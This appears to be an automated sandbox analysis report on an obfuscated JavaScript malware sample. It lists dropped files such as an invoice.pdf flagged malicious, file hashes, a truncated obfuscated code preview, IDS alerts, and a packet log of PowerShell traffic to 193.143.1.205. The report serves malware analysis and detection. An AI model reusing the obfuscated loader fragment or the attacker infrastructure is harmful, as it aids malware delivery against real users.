Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8d97f0a7-ca56-40b8-9fa0-aeafd360c525.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14853), with CRLF line terminators
Entropy (8bit):	4.92049862481901
TrID:
File name:	299273933818721331.js
File size:	18'419 bytes
MD5:	46fafec87dc316c1fd5b4098a3827ca5
SHA1:	1c758d39a3cc04a27d97d8188f1b5cb207a1fc73
SHA256:	fa15369124308b2251a8cc4a28de85b13894477fe9d9b3ea92ab6d4926c7df41
SHA512:	0d2eec61e27f5a063246e16537b5fb09179d2d032611cfc90374297557213831be005a8151eb82f4d25ef07465731d2eeda26f9bfe140145f4b055fd9ad77364
SSDEEP:	192:CrOiXuc6rP6p8cGG8bUP6EWcgUIJLxRmicSxQYxDxA0M/FQtvTMOqnvV3hP/XgF8:gOiXf6L6pTqZlLxQicSyFQtvTJZ+WIz
TLSH:	10827749398FB3CBC9DC20FC51CE49F7F2A4028D83C489BDDCB2A4463C6866566E9671
File Content Preview:	function sbycneap(){dylkwhrl=[1031,3079,5127,4103,2055,3072];var rryntfj=this[fdwanoz+mrxphyod+yofmlxmr+knijb+ewthdzr+wchiic+wsbsjf+spihltx](this[acibi+iyvzfxs+quxzckivo+yofmlxmr+crfkhh+fdwanoz+spihltx][kgyijwgx+yofmlxmr+ewthdzr+mrxphyod+spihltx+ewthdzr+s

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:59:02.343786+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49716	193.143.1.205	80	TCP
2025-01-10T20:59:05.408831+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49722	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:59:01.546654940 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:01.551700115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:01.551800013 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:01.563375950 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:01.568186998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.343693972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.343729019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.343743086 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.343756914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.343770027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.343785048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.343786001 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.343800068 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.343827963 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.343862057 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.343974113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.344002008 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.344017029 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.344027042 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.344054937 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.348620892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.389956951 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.389986992 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.390038013 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.440067053 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.473057032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473071098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473097086 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473107100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473138094 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.473180056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.473324060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473335981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473376989 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.473501921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473589897 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473601103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473613024 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473624945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.473661900 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.473685026 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.474313974 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.474354029 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.474369049 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.474606991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.474668980 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.474670887 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.474684000 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.474695921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.474708080 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.474733114 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.474760056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.475435972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.475533009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.475548983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.475560904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.475574970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.475588083 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.475615025 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.518198013 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.522947073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.522960901 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.523013115 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.564717054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.564747095 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.564758062 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.564771891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.564811945 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.564857006 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.601481915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.601521969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.601540089 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.601552963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.601567030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.601592064 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.601625919 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.602483034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602497101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602510929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602523088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602536917 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602538109 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.602549076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602555990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602565050 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.602626085 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.602801085 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602895975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602909088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602921009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602933884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602941990 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.602946997 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602958918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.602966070 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.603003979 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.603677034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.603691101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.603703976 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.603714943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.603727102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.603733063 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.603738070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.603751898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.603765011 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.603782892 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.603800058 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.604559898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.604572058 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.604583979 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.604597092 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.604609966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.604621887 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.604623079 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.604635954 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.604649067 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.604655981 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.604676008 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.604690075 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.605463028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.605477095 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.605489969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.605501890 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.605515957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.605526924 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.605529070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.605556965 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.605577946 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.609728098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.609741926 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.609752893 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.609790087 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.609814882 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.609855890 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.651465893 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.693357944 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.693398952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.693419933 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.693478107 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.693514109 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.693550110 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.693572998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.693577051 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.693614960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.730026960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.730052948 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.730067968 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.730101109 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.730134010 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.730134964 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.730211973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.730227947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.730241060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.730253935 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.730266094 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.730298996 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.730387926 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.730424881 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.730443001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731383085 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731549978 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.731564045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731579065 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731591940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731605053 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731616020 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.731617928 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731631994 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731645107 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731654882 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.731657982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731672049 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731682062 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.731683969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731697083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731702089 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.731718063 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.731848001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731890917 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.731892109 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.731930017 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732032061 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.732234001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732245922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732258081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732270002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732283115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732292891 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.732295036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732309103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732321024 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732330084 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.732331991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732345104 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732357025 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732367992 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.732372999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.732394934 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.732410908 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.733205080 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733220100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733232975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733244896 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733258009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733273029 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733287096 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733299017 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733311892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733324051 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733336926 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733350039 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.733593941 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.734114885 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734138012 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734150887 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734163046 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734178066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734189034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734189987 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.734203100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734209061 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.734215975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734229088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734241962 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734241962 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.734256983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734271049 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.734282017 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.734302044 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.734316111 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.734930038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.735038042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.735052109 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.735064030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.735078096 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.735091925 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.735105991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.735115051 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.735148907 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.738084078 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.738114119 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.738126993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.738133907 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.738162041 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.739279032 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.752311945 CET	49716	80	192.168.2.6	193.143.1.205
